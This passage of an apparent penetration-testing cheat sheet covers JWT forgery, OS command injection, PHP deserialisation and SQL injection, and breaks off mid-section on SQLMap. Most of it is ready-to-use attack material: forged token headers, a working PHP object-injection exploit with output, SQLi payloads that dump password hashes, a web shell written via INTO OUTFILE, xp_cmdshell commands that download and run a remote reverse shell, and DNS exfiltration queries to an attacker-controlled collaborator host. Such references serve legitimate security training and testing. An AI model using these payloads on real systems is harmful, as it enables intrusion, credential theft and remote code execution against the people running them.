Of the many types of algorithms accepted by the JWT standard, the `None` algorithm stands out because specifies that the token is not signed. Therefore, using this type of algorithm might allow you to bypass the checking signature. As a result the JWT would look like this.

```bash
# Header
{
  "alg": "None",
  "typ": "JWT"
}
# Payload
{
  "sub": "1234567890",
  "name": "Marmeus",
  "iat": 1516239022
}

eyJhbGciOiJOb25jZSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsIm5hbWUiOiJNYXJtZXVzIiwiaWF0IjoxNTE2MjM5MDIyfQ==.
```

#### None signature

Remove the signature from the end of the token in case the application does not check it, bypassing the authentication.

```bash
eyJhbGciOiJOb25jZSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsIm5hbWUiOiJNYXJtZXVzIiwiaWF0IjoxNTE2MjM5MDIyfQ==.
```

#### Algorithm confusion (CVE-2016-5431)

Some libraries do not check whether the received token is signed using the application's expected algorithm.

As an example, if an application uses the RSA algorithm, the private key will be used for signing and the public key for verifying, so changing the algorithm to HMAC the public key can be used for signing and verifying.

#### Weak secrets

For symmetric algorithms, if the secret can be brute-forced, new tokens can be crafted.

```
hashcat -a 0 -m 16500 <jwt> <wordlist>
```

#### Kid parameter injections

The Key Id parameter or `kid` is often used to retrieve the key from a database or file system in order to sign the payload. If the parameter is vulnerable, it can lead to signature bypass, RCE, SQLi and LFI.

**RCE**

If the `kid` parameter is vulnerable to command injection, the following modification might lead to remote code execution:

```bash
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key1|/usr/bin/uname"
}
```

**Path traversal**

If the `kid` parameter is used to retrieve the key from the filesystem, it might be vulnerable to path traversal. If so, the attacker can change the value for any static file within the application. Knowing the key file value, the attacker can craft a malicious token and sign it using the known key.

```json
{
    "kid": "../../path/to/file",
    "typ": "JWT",
    "alg": "HS256",
    "k": "006baadc-dcf2-4bab-9a3a-1d57fb67fd49"
}
```

**UNION SQLi**

If the key is retrieved from a database, it might be vulnerable to SQLi, if so you can try UNION SQLi to retrieve a predicted value for the signature key.

```bash
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "xxxx' UNION SELECT 'aaa"
}
```

#### JKU parameter

The JSON Web Key Set URL o `jwu` is used to specify where the application can find the JSON web key (JWK) used to verify the signature.

If you are capable of changing the JWU value in order to point to your own JWK instead, where the public key is stored. You could sign the JWT with your private key, which will later be checked with your public key.

This can be achieved with any of the following techniques:

* If the application checks the prefix of the URL, modify the URL like `https://example.com@attacker.com/`,
* Using URL fragments with the `#` character
* Using the DNS naming hierarchy
* Chaining with an open redirect
* Chaining with a header Injection
* Chaining with SSRF

Then, inside the attacker's server, the file `key.json` (Can be generated with JWT Edit keys) should look like this:

```bash
{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "006baadc-dcf2-4bab-9a3a-1d57fb67fd49",
            "n": "q4As7xzYiAAlED4vW_5SYGTZYHdKwZ8uxNvVt5fJKTtVAqSEKsap9CkNfAjmNVT7UGDBACABZfWLvl-3taBQa7-"
        }
    ]
}
```

#### JWKS Injection (CVE-2018-0114)

The `jwk` header parameter is used to embed a public key directly within the JWT.

```
{
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
        "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
    }
}
```

This can be achieved using the Burp Suite extension [JWT Editor](https://github.com/PortSwigger/jwt-editor).

1. With the extension loaded, in Burp's main tab bar, go to the **JWT Editor Keys** tab.
2. [Generate a new RSA key.](https://portswigger.net/web-security/jwt/working-with-jwts-in-burp-suite#adding-new-signing-keys)
3. Send a request containing a JWT to Burp Repeater.
4. In the message editor, switch to the extension-generated **JSON Web Token** tab and [modify](https://portswigger.net/web-security/jwt/working-with-jwts-in-burp-suite#editing-the-contents-of-jwts) the token's payload however you like.
5. Click **Attack**, then select **Embedded JWK**. When prompted, select your newly generated RSA key.
6. Send the request to test how the server responds.

### Tools

There are several tools in order to play with JW tokens. Here are the most used.

#### Online

* [jwt.io](https://jwt.io/) (Online): Decode and encode JWT tokens
* [token.dev](https://token.dev/) (Online): Same as before but allows more types of algorithms.
* [mkjwk.org](https://mkjwk.org/) (Online): Web page to generate JWT keys.

#### Offline

**JWT Tool**

[jwt\_tool](https://github.com/ticarpi/jwt_tool) checks for vulnerabilities, scan for weaknesses, cracks JWTs, forge tokens, etc.

* Cracking the secret:

```bash
python3 jwt_tool.py <JWT> -C -d <WORDLIST.TXT>
```

* None Algorithm:

```bash
python3 jwt_tool.py <JWT> -X a
```

* RSA Algorithm confusion

```bash
python3 jwt_tool.py <JWT> -X k -pk <PUBLIC.pem>
```

* None signature

```bash
python3 jwt_tool.py <JWT> -X n
```

* JWKS Injection (The private key will be generated at `/home/kali/.jwt_tool/` )

```bash
python3 jwt_tool.py <JWT> -X i
```

* JWKS Spoofing: Changes the JKU to a foreign web page with the public key.

```
python3 jwt_tool.py <JWT> -X s
```

**JWT Editor**

[JWT Editor](https://github.com/PortSwigger/jwt-editor) is a Burp Suite extension and standalone application for editing, signing, verifying, encrypting and decrypting JSON Web Tokens (JWTs).

## Flask JWT

Flask JSON Web Tokens have a similar structure as a normal JWT but it differs in their content.

As a JWT is composed of three main parts separated by a dot:

* **Payload**: JSON data that wants to be transmitted.
* **Timestamp**: Encoded timestamp.
* **Signature**: The result of the HMAC operation as in the normal JWT.

```http
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiTWFybWV1cyJ9.Yn1FHg.MTb2hVRzzDUc44JPkIxGI6xyr4A
```

Decoding the data would look something like this.

```bash
# Payload
{
  "logged_in": true,
  "username": "Marmeus"
}
# Timestamp
"b}E\u001e"
# Signature
HMAC(base64UrlEncode(header) + "." + base64UrlEncode(payload), <SECRET>)
```

### Tools

#### Flask-unsing

[Flask-unsing](https://github.com/Paradoxis/Flask-Unsign): Fetch, decode, brute-force and craft session cookies of a Flask application.

* Cracking the secret:

```bash
flask-unsign --unsign --no-literal-eval --cookie "<JWT>" -w <WORDLIST.TXT>
```

## References

* [Cracked Flask Lab](https://digi.ninja/blog/cracked_flask.php)
* [JSON Web Token attacks and vulnerabilities](https://www.invicti.com/blog/web-security/json-web-token-jwt-attacks-vulnerabilities/)
* [JWT attacks](https://portswigger.net/web-security/jwt)


# OS command injection

## Introduction

OS command injection is an attack in which an attacker can execute arbitrary commands on the server-operative system that is running the application, sometimes compromising the application and its data.

This kind of attack is possible due to a lack of proper input/output data validation when an application passes unsafe user input data (forms, cookies, HTTP headers etc.) to a system shell, which is being executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

## Useful commands

| Purpose of command    | Linux                                   | Windows                                                                            |
| --------------------- | --------------------------------------- | ---------------------------------------------------------------------------------- |
| Name of current user  | `whoami`                                | `whoami`                                                                           |
| Operating system      | `uname -a`                              | `ver`                                                                              |
| Network configuration | `ifconfig`                              | `ipconfig /all`                                                                    |
| Network connections   | `netstat -an`                           | `netstat -an`                                                                      |
| Running processes     | `ps -ef`                                | `tasklist`                                                                         |
| Exfiltrate data       | `nslookup $(<COMMAND>).<COLLAB_DOMAIN>` | for /F "usebackq delims=" %A in ( \`\<COMMAND>\`) do nslookup %A.\<COLLAB\_DOMAIN> |

## Ways of injection OS commands

Several characters work as command separators, allowing commands to be chained together. The following command separators work on both **Windows** and **Unix**-based systems:

```bash
&
&&
|
||
```

The following command separators work only on **Unix**-based systems:

```bash
;
# Newline
0x0a
\n
```

On **Unix**-based systems, you can also use backticks or the dollar character to perform inline execution of an injected command within the original command:

```bash
`<COMMAND>`
$(COMMAND)
```

To use this technique, you can try to send the following payload if the output of the command is returned.

```
; echo HELLO #
```

But, if the result of the command is not shown in the response of the request, try the follwoing.

```bash
; ping <COLLAB_DOMAIN>
```

## References

* [OS command injection \[PortSwigger\]](https://portswigger.net/web-security/os-command-injection)
* [Command Injection \[OWASP\]](https://owasp.org/www-community/attacks/Command_Injection)


# PHP deserialisation

## Introduction

First of all, let's explain what serialisation and deserialisation mean. The serialisation of an object transforms an object from Object Programming languages such as Java, Python or PHP into a format that can be stored or transferred. Deserailsation turns serialised objects from files or the network into ordinary programming objects.

An attacker could manipulate serialised objects to change the application's logic, perform a denial service, or execute arbitrary code when deserialised.

## Proof of Concept

When you control a serialised object that is passed into unserialised(), you can control the properties of the created object. You might also be able to hijack the flow of the application by controlling the values passed into automatically executed methods like **\_\_wakeup()**, or **\_\_destruct()**.

In this Proof of concept, the vulnerable code receives a serialised object through the GET parameter `r`, then unserialises it into an array, printing the first two values. However, an attacker could create its own `inject` variable, which value will be executed by the function `eval` just after the `unserialize` function was performed due to the function `__ wakeup()`.

**Vulnerable code**:

```php
<?php 
    class PHPObjectInjection{
        public $inject;
        function __construct(){
        }
        function __wakeup(){
            if(isset($this->inject)){
                eval($this->inject);
            }
        }
    }
    if(isset($_REQUEST['r'])){  
        $var1=unserialize($_REQUEST['r']);
        if(is_array($var1)){
            echo "<br/>".$var1[0]." - ".$var1[1];
        }
    }
    else{
        echo ""; # nothing happens here
    }
?> 

php -S localhost:8080 vuln.php
```

**Exploit** :

```php
<?php 
    class PHPObjectInjection{
        public $inject = "system('whoami');";
    }
    echo urlencode(serialize(array("vul","nerable"))); # Basic serialized data
    echo "\n";
    echo urlencode(serialize(new PHPObjectInjection)); # Command execution (__wakeup)
?>
```

```bash
php exploit.php
# Intended use
a%3A2%3A%7Bi%3A0%3Bs%3A3%3A%22vul%22%3Bi%3A1%3Bs%3A7%3A%22nerable%22%3B%7D 
# Malicious use
O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D
```

**Result**:

As you can see below, because the attacker could replace the `$inject` variable with the command "whoami", the attacker gained RCE knowing the user who executed the PHP service.

```bash
curl http://localhost:8080?r=a%3A2%3A%7Bi%3A0%3Bs%3A3%3A%22vul%22%3Bi%3A1%3Bs%3A7%3A%22nerable%22%3B%7D
vul - nerable
curl http://localhost:8080?r=O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D
kali
```

## References

* [Several exploits \[PayloadAllTheThings\]](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/PHP.md)
* [PHP Object Injection \[OWASP\]](https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection)
* [Exploiting PHP deserialization \[Medium\]](https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a)
* [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
* [Exploiting insecure deserialization vulnerabilities](https://portswigger.net/web-security/deserialization/exploiting)
* [Magic methods](https://www.php.net/manual/en/language.oop5.magic.php#object.wakeup)
* [What is Phar Deserialization](https://www.sonarsource.com/blog/new-php-exploitation-technique/)


# SQLi

## Introduction

A SQL injection attack consists of inserting SQL statements on a SQL query via the input data from the client to the application. This vulnerability takes place due to incorrect filtering or lack of data sanitisation.

Exploiting this vulnerability can lead to bypassing logins, reading or modifying sensitive data from the database, executing administration operations on the database and reading or writing files on the operating system.

For example, a simple string that the attacker can use to bypass login portals would be:

```bash
' or '1'='1 -- -
```

Finally, each database server has its difference, so queries for MySQL injection might not work on oracle database servers.

## Cheat sheet

Most of the commands are retrieved from [Port Swigger](https://portswigger.net/web-security/sql-injection/cheat-sheet)'s cheat sheet.

### String concatenation

| DBMS           | TECHNIQUE                              |
| -------------- | -------------------------------------- |
| **Oracle**     | `'foo'`                                |
| **Microsoft**  | `'foo'+'bar'`                          |
| **PostgreSQL** | `'foo'`                                |
| **MySQL**      | `'foo' 'bar'` or `CONCAT('foo','bar')` |

### Substring

Obtain a substring where "X" is the offset and "Y" is the lenght of the substring.

| DBMS           | TECHNIQUE                   |
| -------------- | --------------------------- |
| **Oracle**     | `SUBSTR('BLABLA', X, Y)`    |
| **Microsoft**  | `SUBSTRING('BLABLA', X, Y)` |
| **PostgreSQL** | `SUBSTRING('BLABLA', X, Y)` |
| **MySQL**      | `SUBSTRING('BLABLA', X, Y)` |

### Comments

The comments used to remove the rest of the original query might vary from SQL server.

| DBMS           | TECHNIQUE                                         |
| -------------- | ------------------------------------------------- |
| **Oracle**     | `--<COMMENT>`                                     |
| **Microsoft**  | `--<COMMENT>` or `/*<COMMENT>*/`                  |
| **PostgreSQL** | `--<COMMENT>` or `/*<COMMENT>*/`                  |
| **MySQL**      | `#<COMMENT>` or `-- <COMMENT>` or `/*<COMMENT>*/` |

### Obtain database version

| DBMS           | TECHNIQUE                                                    |
| -------------- | ------------------------------------------------------------ |
| **Oracle**     | `SELECT banner FROM v$versionSELECT version FROM v$instance` |
| **Microsoft**  | `SELECT @@version`                                           |
| **PostgreSQL** | `SELECT version()`                                           |
| **MySQL**      | `SELECT @@version`                                           |

### Database content

#### Oracle

```sql
# DATABASES
SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
# TABLES
SELECT TABLE_NAME[,owner] FROM all_tables
# COLUMNS
SELECT COLUMN_NAME FROM all_tab_columns WHERE table_name = '<TABLE_NAME>' [and owner = '<OWNER>'];
# DATA
SELECT * FROM <TABLE> 
```

#### Microsoft

```sql
# OBTAIN DBMS users
SELECT name, password FROM master.sys.sysusers;
SELECT name, password_hash FROM master.sys.sql_logins-- # Sometimes casting is needed master.dbo.fn_varbintohexstr(password_hash)

# DATABASES
SELECT name FROM master..sysdatabases

# TABLES
SELECT TABLE_NAME FROM <DATABASE>.INFORMATION_SCHEMA.TABLES

# COLUMNS
SELECT COLUMN_NAME FROM <DATABASE>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE_NAME>'

# DATA
SELECT * FROM <DATABASE>.dbo.<TABLE_NAME>
```

#### PostgresSQL

```sql
# DATABASE
SELECT datname FROM pg_database
# TABLES
SELECT table_name FROM information_schema.tables 
# COLUMNS
SELECT column_name  FROM information_schema.columns WHERE table_name = '<TABLE_NAME>'
```

#### MySQL

```
# DATABASES
SELECT schema_name FROM information_schema.schemata;
# TABLES
SELECT table_name FROM information_schema.tables WHERE table_schema = '<DATABASE>'
# COLUMNS
SELECT column_name FROM information_schema.columns WHERE table_name = '<TABLE_NAME>'
```

### Conditional errors

If you want to perform error-based attacks, a database error is produced if the condition is true.

| DBMS           | TECHNIQUE                                                                                 |
| -------------- | ----------------------------------------------------------------------------------------- |
| **Oracle**     | `SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual`      |
| **Microsoft**  | `SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN 1/0 ELSE NULL END`                         |
| **PostgreSQL** | `1 = (SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN CAST(1/0 AS INTEGER) ELSE NULL END)`  |
| **MySQL**      | `SELECT IF(<YOUR-CONDITION-HERE>,(SELECT table_name FROM information_schema.tables),'a')` |

### Stacked queries

Some DBMS do not allow performing several queries on the same stamement.

| DBMS           | TECHNIQUE                         |
| -------------- | --------------------------------- |
| **Oracle**     | Does not support batched queries. |
| **Microsoft**  | `<QUERY_1>; <QUERY_2>`            |
| **PostgreSQL** | `<QUERY_1>; <QUERY_2>`            |
| **MySQL**      | `<QUERY_1>; <QUERY_2>`            |

### Time delays

This set of functions can be used to perform Time-based attacks in seconds.

| DBMS           | TECHNIQUE                             |
| -------------- | ------------------------------------- |
| **Oracle**     | `dbms_pipe.receive_message(('a'),10)` |
| **Microsoft**  | `WAITFOR DELAY '0:0:10'`              |
| **PostgreSQL** | `SELECT pg_sleep(10)`                 |
| **MySQL**      | `SELECT SLEEP(10)`                    |

### Conditional time delays

| DBMS           | TECHNIQUE                                                                            |
| -------------- | ------------------------------------------------------------------------------------ |
| **Oracle**     | `SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual` |
| **Microsoft**  | `IF (<YOUR-CONDITION-HERE>) WAITFOR DELAY '0:0:10'`                                  |
| **PostgreSQL** | `SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN pg_sleep(10) ELSE pg_sleep(0) END`    |
| **MySQL**      | `SELECT IF(<YOUR-CONDITION-HERE>,SLEEP(10),'a')`                                     |

### DNS lookup

| DBMS       | TECHNIQUE                                                                                                                                                                  |
| ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Oracle     | The following technique works on fully patched Oracle installations, but requires elevated privileges: `SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')` |
| Microsoft  | `exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'`                                                                                                                |
| PostgreSQL | `copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'`                                                                                                       |
| MySQL      | The following techniques work on Windows only: `LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP_COLLABORATOR>\a'`                        |

### Data exfiltration

#### **Oracle**

None

#### **Microsoft**

```sql
declare @p varchar(1024);set @p=(SELECT <QUERY>);exec('master..xp_dirtree "//'+@p+'.<BURP-COLLABORATOR>/a"')
```

#### **PostgreSQL**

```sql
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (<QUERY>);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.<BURP-COLLABORATOR>''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```

#### **Mysql**

Works only on Windows:

```sql
SELECT <QUERY> INTO OUTFILE '\\\\<BURP-COLLABORATOR>\a'
```

## MySQL

### Union

1\. First, it is necessary to know how many columns compose the query's result. To do so, you have to increment the *select* values.

```sql
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,5,6,7
```

Alternatively, you can use `order by X`, where X is the index by which to order.

```sql
http://example.c/debug.php?id=1 order by 3
```

2\. Identify the database, the user and its privileges.

```sql
# Database V1
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(SCHEMA_NAME,":") from information_schema.schemata),6
# Database V2
' UNION SELECT NULL, user(), database() --
# Privileges
' union select grantee,privilege_type,is_grantable,4,5,6 from information_schema.user_privileges--
```

3\. Get the tables of a database.

```sql
# V1
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(TABLE_NAME,":") from information_schema.TABLES where TABLE_SCHEMA = 'mysql'),6,7 
# V2
' UNION SELECT NULL, NULL , TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='db' --
```

4\. Get the columns of the table.

```sql
# V1
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(TABLE_NAME,":",COLUMN_NAME,"\r\n") from information_schema.COLUMNS where TABLE_SCHEMA = 'mysql'),6,7 
# V2
http://192.168.157.10/debug.php?id=1 union select 1,3,column_name FROM INFORMATION_SCHEMA.columns where table_name = 'users'
# V3
' UNION SELECT NULL, NULL ,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='wp_users'--
```

5\. Get the data of each column.

```sql
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(host,":",user,":",password,"\r\n") from mysql.user),6,7
' UNION SELECT NULL, NULL ,password FROM wp_users --
```

### Blind

1. Discover if it is vulnerable.

```sql
Iron Man' and '1'='1' # True: Return the movie
Iron Man' and '1'='2' # False: Does not return anything
```

2\. Know the length of the string.

```
Iron Man' and length(database())=1
```

3\. Get the name of the database, where **X** indicates the value to be returned.

```
Iron Man' and hex(substring(database(),X,1))=hex('H')
```

4\. Get the number of tables.

```sql
Iron Man' and (SELECT count(*) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'bwapp')<5;
```

5\. Get the name of each table, where **X** indicates the table and **Y** the character of the table's name.

```sql
Iron Man' and hex(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'bwapp' LIMIT X,1),Y,1))<hex('z');#
```

6\. Get the number of columns in the table.

```sql
Iron Man' and (SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'bWAPP' and TABLE_NAME = 'movies')=7;
```

7\. Get the name of the columns, where **X** indicates the column and **Y** is the character of the column's title.

```sql
Iron Man' and SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE WHERE TABLE_SCHEMA = 'bWAPP' and TABLE_NAME = 'movies' LIMIT X,1),Y,1)='I';
```

8\. Get the length and content of each value in the column, where **X** indicates the column's value and **Y** is the character of that value.

```sql
# Length
Iron Man' and (SELECT CHAR_LENGTH(login) FROM users LIMIT X,1)='3';
# Value
Iron Man' and hex(substring((SELECT password FROM users LIMIT X,1),Y,1))=hex('6');
```

### Read Files

Because the contents of a file can be appended to the result of a query, we can retrieve data from the file system.

```
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(TO_BASE64(LOAD_FILE('/etc/passwd'))),6,7
```

#### SQLMap

```bash
sqlmap http://example.com/room.php?cod=1 --file-read=/xampp/htdocs/index.php
```

### Write Files

Check if the database user has file privileges.

```sql
' union select grantee,privilege_type,is_grantable,4,5,6 from information_schema.user_privileges--
```

If the user has file privileges, the attacker can create files on the system.

```sql
2 UNION SELECT convert("1" USING binary),convert("1" USING binary),convert("1" USING binary), convert("<?php echo system(system($_GET['cmd']));?>" USING binary),convert("1" USING binary) into OUTFILE "C:\\xampp\\htdocs\\dashboard\\shell.php"
```

#### SQLMap

```bash
sqlmap http://example.com/room.php?cod=1 --file-write=/root/Desktop/shell.php --file-dest=/xampp/htdocs/shell.php 
```

## Oracle (Union)

1. Get the number of columns for the query result.

   **Note**: Oracle queries required FROM statement; this can be fulfilled by using dual DB

```sql
' UNION SELECT null, null, null from dual--
```

2\. Get table names.

```sql
' UNION SELECT table_name,null,null from all_tables--
```

3\. Get columns from the table.

```sql
' UNION SELECT column_name,null,null from all_tab_columns where table_name='WEB_ADMINS'--
```

## Mssql

### Union

If you want to retrieve the DBMS credentials, perform the following queries..

<pre class="language-sql"><code class="lang-sql"><strong>' UNION SELECT name, password FROM master.sys.sysusers; -- -
</strong>' UNION SELECT name, password_hash FROM master.sys.sql_logins-- -
# Sometimes casting is needed
master.dbo.fn_varbintohexstr(password_hash)
</code></pre>

1\. Obtain databases.

```sql
' UNION SELECT name,NULL FROM master ..sysdatabases--
```

2\. Get the database tables.

```sql
' UNION SELECT TABLE_NAME FROM <DATABASE>.INFORMATION_SCHEMA.TABLES--
```

3\. Obtain columns from the table

```sql
' UNION SELECT COLUMN_NAME FROM <DATABASE>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE_NAME>'--
```

4\. Retrieve data from the table.

```sql
' UNION SELECT password FROM <DATABASE>.dbo.<TABLE_NAME>--
```

**Note 1**: In order to concatenate two columns into one select query, use the function `CONCAT(username,":",password)`.

**Note 2**: If you want to retrieve N rows, use: `SELECT TOP N username ...`.

### Error based

1\. You need to understand why the error is popping up, so you can create a query without mistakes. For example, missing ";", ")" or keywords. 2. Get the DB version

```sql
', CONVERT(INT,@@version))-- 
```

3\. Get the database, where **X** is the id of the database you want to extract.

```sql
',CONVERT(INT,db_name(X)))-- 
```

4\. Get the table.

```sql
',CONVERT(INT,(SELECT top 1 TABLE_NAME FROM archive.information_schema.TABLES)))--  
```

5\. Obtain the first column (id).

```sql
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager')))-- 
```

6\. Obtain the second column ("alogin").

```sql
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager'  AND column_name NOT IN ('id'))))-- 
```

7\. Obtain the third column ("psw").

```sql
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager' and column_name NOT IN ('id','alogin') )))-- 
```

8\. Get the users and passwords (Iterative process).

```bash
',CONVERT(INT,(SELECT top 1 alogin FROM archive.dbo.pmanager where alogin not in ('ftpadmin','webadmin','administrator','user') order by id)))--
```

### System Information

* **Database version**:

```sql
SELECT @@version;
```

* **Database name**:

```sql
SELECT DB_NAME();
```

* **Server name**:

```sql
SELECT @@SERVERNAME;
```

* **Server's IP Address**:

```sql
SELECT dec.local_net_address FROM sys.dm_exec_connections AS dec WHERE dec.session_id = @@SPID;
```

### User Unformation

* **System user**:

```sql
SELECT SYSTEM_USER;
```

* **Database username**:

```sql
SELECT USER_NAME();
SELECT current_user;
```

* **Is a member of public role**:

```sql
SELECT IS_SRVROLEMEMBER('public');
```

* **Is a member of sysadmin role**:

```sql
SELECT IS_SRVROLEMEMBER('sysadmin');
```

* **Users that can be impersonated**:

```sql
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
```

* **Authentication logins**:

> :information\_source:It can be used to CRACK the password of the users with responder & hashcat (`hashcat -m 1731 <HASHLIST> <WORDLIST>`)or to IMPERSONATE LOGIN them.
>
> :information\_source: You must be DB Administrator to impersonate them.

```sql
SELECT name, password_hash FROM master.sys.sql_logins
```

* **Impersonate a user**:

```sql
EXECUTE AS LOGIN = 'sa';
EXECUTE AS [USER|LOGIN] = 'user2'; 
```

* **Create an account**:

```sql
# Create an account
sp_addlogin 'pentest','abc123!'
# Add account to sysadmin
sp_addsrvrolemember 'pentest','sysadmin'
```

### File System Information

* **Enumerate system folders / NTLM Relay Attack / Crack NTLM**

```sql
EXEC master..xp_dirtree "\\10.10.10.4\test\a";
EXEC xp_dirtree '<FOLDER_PATH>', 2, 1
```

* **Read system file**:

<pre class="language-sql"><code class="lang-sql"><strong># Alternative 1
</strong><strong>SELECT CONVERT(NVARCHAR(MAX), CONVERT(VARBINARY(MAX), BulkColumn), 1) 
</strong>FROM OpenRowset(BULK 'C:\inetpub\wwwroot\search.asp', SINGLE_CLOB) AS content

# Alternative 2
SELECT * FROM OPENROWSET(BULK 'C:\\Users\\', SINGLE_CLOB) AS Contents;
</code></pre>

### Command execution

#### xp\_cmdshell

If you log in as `as sa` (administrator), you can enable **command execution**.

```bash
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
```

Then, you can execute commands as follows.

**Note**: Do not forget to escape the inverted commas.

```bash
'EXEC master.dbo.xp_cmdshell 'powershell "IEX(New-Object Net.WebClient).downloadString(\"<http://</Utilities/Revshells/shell.ps1\")">';
```

sp\_OACreate

* **Enable code execution**:

```sql
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
```

* **Execute commands**:

```sql
DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, '<COMMAND>'
```

### Linked Services

* **Enumerate linked services**:

```sql
# Alternative 1
EXEC sp_linkedservers;

# Alternative 2
SELECT * FROM sys.servers;
SELECT name, product, data_source, is_linked, is_remote_login_enabled, is_rpc_out_enabled, is_data_access_enabled, is_collation_compatible, uses_remote_collation, is_system, is_remote_proc_transaction_promotion_enabled,  is_rda_server FROM sys.servers;
```

* **Execute commands on linked server (EXEC & AT)**:

> :information\_source: The `[]` are necessary so you can perform queries to servers outside the main domain.

```sql
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE; ') AT [DC01.corp2.com];
EXEC ('xp_cmdshell ''<COMMAND>'';') AT DC01;
```

* **Execute on linked server via (openquery)**:

```sql
select 1 from openquery(\"dc01\", 'select 1; EXEC sp_configure ''show advanced options'', 1; reconfigure')
select 1 from openquery(\"dc01\", 'select 1; EXEC sp_configure ''xp_cmdshell'', 1; reconfigure')
select 1 from openquery(\"dc01\", 'select 1; exec xp_cmdshell ''regsvr32 /s /n /u /i:http://192.168.49.67:8080/F0t6R5A.sct scrobj.dll''')
```

* **Escalate privileges via double database linked**:

```sql
select mylogin from openquery(\"<FIRST_DB>\", 'select mylogin from openquery(\"<SECOND_DB>\", ''select SYSTEM_USER as mylogin'')');
```

* **Configure link server for RPC**:

```sql
EXECUTE as LOGIN = 'sa';EXEC sp_serveroption '<LINKED_SERVICE>', 'rpc out', 'true';
```

## SQLMAP

SQLmap is an automatic tool used to detect and exploit SQL injection flaws. This subsection will teach you how to perform a simple SQL injection with SQLMap.

1. Intercept the request you want to analyse with **BurpSuite**, then store it into a file.

```http
POST /index.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://10.10.203.65
Connection: close
Referer: http://10.10.203.65/
Cookie: PHPSESSID=6f0kqfotc3gcb80ri2c9av37t1
Upgrade-Insecure-Requests: 1

username=admin&password=password&x=25&y=16
```

2\. Get the databases.

```bash
sqlmap -r request.txt --threads 10 -p username --batch --risk 3 --level 5 --dbs
```

3\. Get the tables of a database.

```bash
